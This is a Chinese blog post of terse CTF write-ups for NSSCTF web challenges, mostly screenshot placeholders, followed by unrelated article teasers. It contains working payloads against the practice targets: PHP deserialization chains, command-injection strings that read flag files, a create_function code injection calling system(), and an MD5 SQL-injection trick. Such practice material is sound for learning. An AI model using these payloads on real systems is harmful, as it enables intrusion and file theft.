NSS刷web(1)

news2024/11/25 7:37:09

一点点做,简单的也不跳了,就当回忆知识了

[SWPUCTF 2021 新生赛]gift_F12

ctrl+u 在这里插入图片描述

[SWPUCTF 2021 新生赛]jicao

在这里插入图片描述

[SWPUCTF 2021 新生赛]easy_md5

在这里插入图片描述

[SWPUCTF 2021 新生赛]easy_sql

在这里插入图片描述
在这里插入图片描述

[SWPUCTF 2021 新生赛]include

在这里插入图片描述

[SWPUCTF 2021 新生赛]easyrce

在这里插入图片描述

[SWPUCTF 2021 新生赛]caidao

在这里插入图片描述

[SWPUCTF 2021 新生赛]babyrce

在这里插入图片描述
在这里插入图片描述

[SWPUCTF 2021 新生赛]Do_you_know_http

改ua xff
在这里插入图片描述
在这里插入图片描述

[SWPUCTF 2021 新生赛]ez_unserialize在这里插入图片描述

访问robots.txt
在这里插入图片描述

<?php
class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="admin";
        $this->passwd = "ctf";
    }

        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

$p = new wllm();
echo serialize($p);
//O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

在这里插入图片描述

[SWPUCTF 2021 新生赛]easyupload2.0

传phtml
在这里插入图片描述
在这里插入图片描述

[SWPUCTF 2021 新生赛]easyupload1.0

改mime
在这里插入图片描述
在这里插入图片描述

[SWPUCTF 2021 新生赛]no_wakeup

绕过wakeup
低版本php可以让序列化中属性的个数与实际不符来绕过

<?php

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="admin";
            $this->passwd = "wllm";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$p = new HaHaHa();
echo serialize($p);


生成的序列化值
O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
手动改完
O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
在这里插入图片描述

[suctf 2019]EasySQL

我是做不出来的奥
这种sql语句写的属于是第一次见
exp*,1

[ZJCTF 2019]NiZhuanSiWei

读useless源码
在这里插入图片描述
在这里插入图片描述


<?php  

class Flag{  //flag.php  
    public $file = 'flag.php';  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$p = new Flag();
echo serialize($p);

在这里插入图片描述
在这里插入图片描述

[第五空间 2021]WebFTP

扫目录 存在phpinfo.php
在这里插入图片描述

[BJDCTF 2020]easy_md5

这题是学骚操作的

开局一个框,啥都没了
扫一下
php中md5第二个参数传true会转原始二进制,输入ffifdyop
在这里插入图片描述
相当于select * from 'admin' where password=''or'6'
传参后看源码
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

[SWPUCTF 2021 新生赛]PseudoProtocols

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

[NISACTF 2022]easyssrf

http://127.0.0.1/flag.php
返回提示/fl4g
在这里插入图片描述
在这里插入图片描述

[SWPUCTF 2021 新生赛]hardrce

在这里插入图片描述

[SWPUCTF 2021 新生赛]error

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

[SWPUCTF 2021 新生赛]easyupload3.0

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

[SWPUCTF 2021 新生赛]pop


<?php
class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';
    public function __construct($admin,$passwd){
        $this->admin = $admin;
        $this->passwd = $passwd;
    }
    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$p = new w22m();
$w3 = new w33m();
$p->w00m = $w3;
$w4 = new w44m('w44m','08067');
$w3->w00m = $w4;
$w3->w22m = 'Getflag';
echo urlencode(serialize($p))."\n";

在这里插入图片描述

[NCTF 2018]签到题

在这里插入图片描述

[SWPUCTF 2021 新生赛]sql

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

[鹤城杯 2021]EasyP

basename会删除文件开头的非ascii码字符
在这里插入图片描述

[GXYCTF 2019]Ping Ping Ping

在这里插入图片描述
在这里插入图片描述
其它方法
?ip=;ss=g;tac$IFS$9fla$ss.php

;`echo$IFS$9dGFjICo=|base64$IFS$9-d`

[NSSCTF 2022 Spring Recruit]ezgame

在这里插入图片描述

[SWPUCTF 2021 新生赛]finalrce

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

[LitCTF 2023]导弹迷踪

在这里插入图片描述

[NISACTF 2022]checkin

在这里插入图片描述
存在不可见字符 ,复制粘贴就行
在这里插入图片描述

[LitCTF 2023]PHP是世界上最好的语言!!

在这里插入图片描述

[LitCTF 2023]我Flag呢?

在这里插入图片描述

[鹏城杯 2022]简单包含

读flag.php 有waf 读index.php
在这里插入图片描述
在这里插入图片描述

[强网杯 2019]随便注

select给ban了 updatexml update 也给ban了
考虑堆叠
在这里插入图片描述
在这里插入图片描述
这里set 和 prepare也ban了

[LitCTF 2023]1zjs

在这里插入图片描述
在这里插入图片描述

[NISACTF 2022]level-up

ctrl+u 有disallow 很像robots.txt
访问
在这里插入图片描述

array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

在这里插入图片描述

array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1

在这里插入图片描述
在这里插入图片描述
这里可以
NI+SA+=txw4ever
NI+SA[=txw4ever
但是
NI[SA+=txw4ever
不行 原因是在使用[替换_后,在[后的字符都不会替换
在这里插入图片描述
\create_function&b=}system('cat /f*');?>

[SWPUCTF 2022 新生赛]ez_ez_php

读flag.php知道flag在flag
在这里插入图片描述

[LitCTF 2023]Ping

在这里插入图片描述

[CISCN 2019华东南]Web11在这里插入图片描述

Smarty ssti
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

[UUCTF 2022 新生赛]websign

view-source:

[NISACTF 2022]babyupload

过滤了.不知道怎么搞了,回去ctrl+u 给了源码
在这里插入图片描述
这里可以直接读flag
传的文件名为/flag在os.path.join的时候因为有/所以path变成/flag
在这里插入图片描述

[HUBUCTF 2022 新生赛]checkin

在这里插入图片描述

[LitCTF 2023]Follow me and hack me在这里插入图片描述

[GDOUCTF 2023]hate eat snake

开着f12进
在这里插入图片描述
Snake.prototype.getScore = function () { return 100 }
我有点不能理解为什么要用原型,没学过js 有空把node学了,应该大同小异
当初做的时候是改的判断条件
在这里插入图片描述
node早晚要学,java结束一定学()

[LitCTF 2023]作业管理系统

弱口令 admin admin
文件上传无过滤

[NISACTF 2022]babyserialize

hint说flag在根目录下
试了一下反引号 system shell_exec file_get_contents $_GET[1]之类的 都给ban了
看wp才知道大小写就能绕

在这里插入图片描述
O:4:"NISA":2:{s:3:"fun";O:8:"Ilovetxw":2:{s:5:"huang";N;s:2:"su";r:1;}s:8:"txw4ever";s:27:"SyStem('cat /fllllllaaag');";}

[NISACTF 2022]bingdundun~

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/661765.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

PMP证书考下来要多少费用?

PMP考试形式分为&#xff1a;笔试、机考。PMP考试这里只着重介绍笔试&#xff08;大陆地区目前都是笔试&#xff09;&#xff1a; PMP认证考试在大陆内的考试一般一年举行四次&#xff0c;分别在3、6、9、12月份。2023年考试时间是3、5、8、11月份。 考试方式是笔试。考试改版…

【云原生】初识Kubernetes的理论基础

1.k8s的由来及其技术运用 1.1 k8s的简介 Kubernetes&#xff0c;词根源于希腊语的 舵手、飞行员。在国内又称k8s&#xff08;因为k和s之间有8个字母&#xff0c;所以得名。“国内程序员的幽默”&#xff09;。用于自动部署、扩展和管理“容器化&#xff08;containerized&…

面向锂电池行业实验室测试排配智能优化解决方案

获取更多资讯&#xff0c;赶快关注公众号&#xff08;《智能制造与智能调度》和》《商简智能》&#xff09;吧&#xff01; 文章目录 1 何为排配问题2 排配特点3 排配现状和痛点4 智能排配解决方案4.1 整体架构4.2 总体思路4.3 智能排配约束4.4 智能算法助力智能排配4.5 智能交…

RFID课程要点总结_3 Wireless Communication Principle of RFID

3. Wireless Communication Principle of RFID Different work principles of different carrier frequency 不同频率载波也适用不同的工作原则。 前面已经有所涉及&#xff0c;比如LF HF适用于近距离&#xff0c;UHF SHF适合远距离。 前者适用 Inductively Coupled RF Mod…

使用华为云AstroZero,不用一行代码,制作端午节加班申请模板

前言 6月22号就要端午了&#xff0c;很多公司会想统计下端午节加班的人数。传统的做法是用社交软件&#xff0c;谁要加班谁反馈&#xff0c;然后逐级汇总上传。大一点的企业&#xff0c;可能用自己的内部办公系统来申请。 但对于小企业来说&#xff0c;没有定制化的办公系统&a…

文件夹提示《文件或目录损坏》怎么解决

在经常使用电脑的过程中&#xff0c;大家平常会遇见一些困难&#xff0c;其中最常见的就是文件夹了&#xff0c;许多人就反映说自己遇见过文件夹《文件或目录损坏》打不开&#xff0c;那么遇见这个困难该怎么办呢&#xff1f;不知道的朋友赶紧瞧瞧小编整理的文件夹《文件或目录…

【参考设计】2KW AC/DC数字电源方案

什么是数字电源&#xff1f; 数字电源即通过一颗通用的数字信号控制器&#xff0c;完成传统模拟电源控制IC所具备的PWM、保护、环路补偿等功能&#xff0c;同时具备通信监控功能。 数字电源的数字信号控制器取代了模拟电源的控制芯片、环路补偿的运放及相关器件。软件处理的灵…

软考A计划-系统集成项目管理工程师-信息化知识(一)

点击跳转专栏>Unity3D特效百例点击跳转专栏>案例项目实战源码点击跳转专栏>游戏脚本-辅助自动化点击跳转专栏>Android控件全解手册点击跳转专栏>Scratch编程案例点击跳转>软考全系列 &#x1f449;关于作者 专注于Android/Unity和各种游戏开发技巧&#xff…

leetcode 225. 用队列实现栈

2023.6.19 这题使用队列来实现栈的功能&#xff0c;和栈实现队列稍有不同。pop操作的实现 需要将队列1的除队尾元素之外的所有元素移到队列2中&#xff0c;然后返回并移除队列1剩下的元素。 下面上代码&#xff1a; class MyStack {queue<int> que1;queue<int> qu…

How to Write and Publish a Scientific Paper-Approaching a Writing Project

contents Approaching a Writing ProjectESTABLISHING THE MINDSETPREPARING TO WRITEDOING THE WRITINGREVISING YOUR WORK Approaching a Writing Project ESTABLISHING THE MINDSET 也许最基本的是&#xff0c;请记住你的写作目的是为了传达信息&#xff0c;而不是为了给人…

Flutter悬浮UI的设计Overlay组件

文章目录 APP开发经常要遇到的开发场景Overlay 的介绍Overlay的使用规则举例说明源码例子报错报错No Overlay widget found报错原因解决方法 修改后的源码 例子效果 APP开发经常要遇到的开发场景 有时候我们在开发APP的时候会遇到下面这些需求&#xff1a; 在现有页面上添加浮…

选择题UI

选择题UI QuestionInfoSetting.cs using System; using System.Collections.Generic; using System.Threading.Tasks; using TMPro; using UnityEngine; using UnityEngine.UI;public class QuestionInfoSetting : MonoBehaviour {[Header("选项")]public GameObj…

LabVIEW错误-1073807360发生于 VISA Configure Serial Port (Instr).vi

调试上位机发生错误&#xff0c;错误信息为&#xff1a;“错误-1073807360发生于 VISA Configure Serial Port (Instr).vi->300W.vi中的属性节点&#xff08;arg 1&#xff09;” 查阅资料后得出的出错原因大致分为两种&#xff1a; 1.在运行程序时&#xff0c;没有选择端…

华为OD机试之MELON的难题(Java源码)

MELON的难题 题目描述 MELON有一堆精美的雨花石(数量为n&#xff0c;重量各异)&#xff0c;准备送给S和W。MELON希望送给俩人的雨花石重量一致&#xff0c;请你设计一个程序&#xff0c;帮MELON确认是否能将雨花石平均分配。 输入描述 第1行输入为雨花石个数: n&#xff0c;0&…

SN74LVC2T45使用说明

DIR高电平&#xff0c;允许从A传输到B&#xff0c;而低电平则允许从B传输到A。 针脚A和DIR以VCCA为基准&#xff0c;针脚B以VCCB为基准

PACS影像系统源码:三维后处理解决方案

一、三维后处理功能是临床数字技术中的重要组成部分&#xff0c;在与PACS系统整合后,能帮助医院构建完整的影像管理及三维影像后处理平台&#xff0c;实现在任意PACS终端进行三维影像后处理工作。 二、三维后处理解决方案是指对三维医学影像数据进行加工处理&#xff0c;以提取…

【C/C++套接字编程】UDP通信实验

目录 一、实验目的&#xff1a; 二、实验内容简要描述 三、实验步骤与结果分析 四、结论 系列博客 【C/C套接字编程】套接字的基本概念与基础语法_Mr_Fmnwon的博客-CSDN博客 【C/C套接字编程】TCP协议通信的简单实现_Mr_Fmnwon的博客-CSDN博客 【C/C套接字编程】UDP协议通信…

Springboot实现接口传输加解密

前言 先给大家看下效果&#xff0c;原本我们的请求是这样子的 加密后的数据传输是这样子的 加解密步骤&#xff1a; 1.前端请求前进行加密&#xff0c;然后发送到后端 2.后端收到请求后解密 3.后端返回数据前进行加密 4.前端拿到加密串后&#xff0c;解密数据 加解密算法&…

新增一个全局处理异常

要在Java应用程序中理新增一个全局处理异常&#xff0c;通常需要执行以下三个步骤&#xff1a; 1.定义全局异常处理器&#xff08;Global Exception Handler&#xff09;&#xff1a; 创建一个类&#xff0c;实现ExceptionHandler接口或使用ControllerAdvice注解&#xff0c;用…

同步模式之保护性暂停

目录 定义 基本实现 带超时版 GuardedObject 多任务版 GuardedObject 总结 定义 即 Guarded Suspension&#xff0c;用在一个线程等待另一个线程的执行结果 要点 有一个结果需要从一个线程传递到另一个线程&#xff0c;让他们关联同一个 GuardedObject如果有结果不断从一…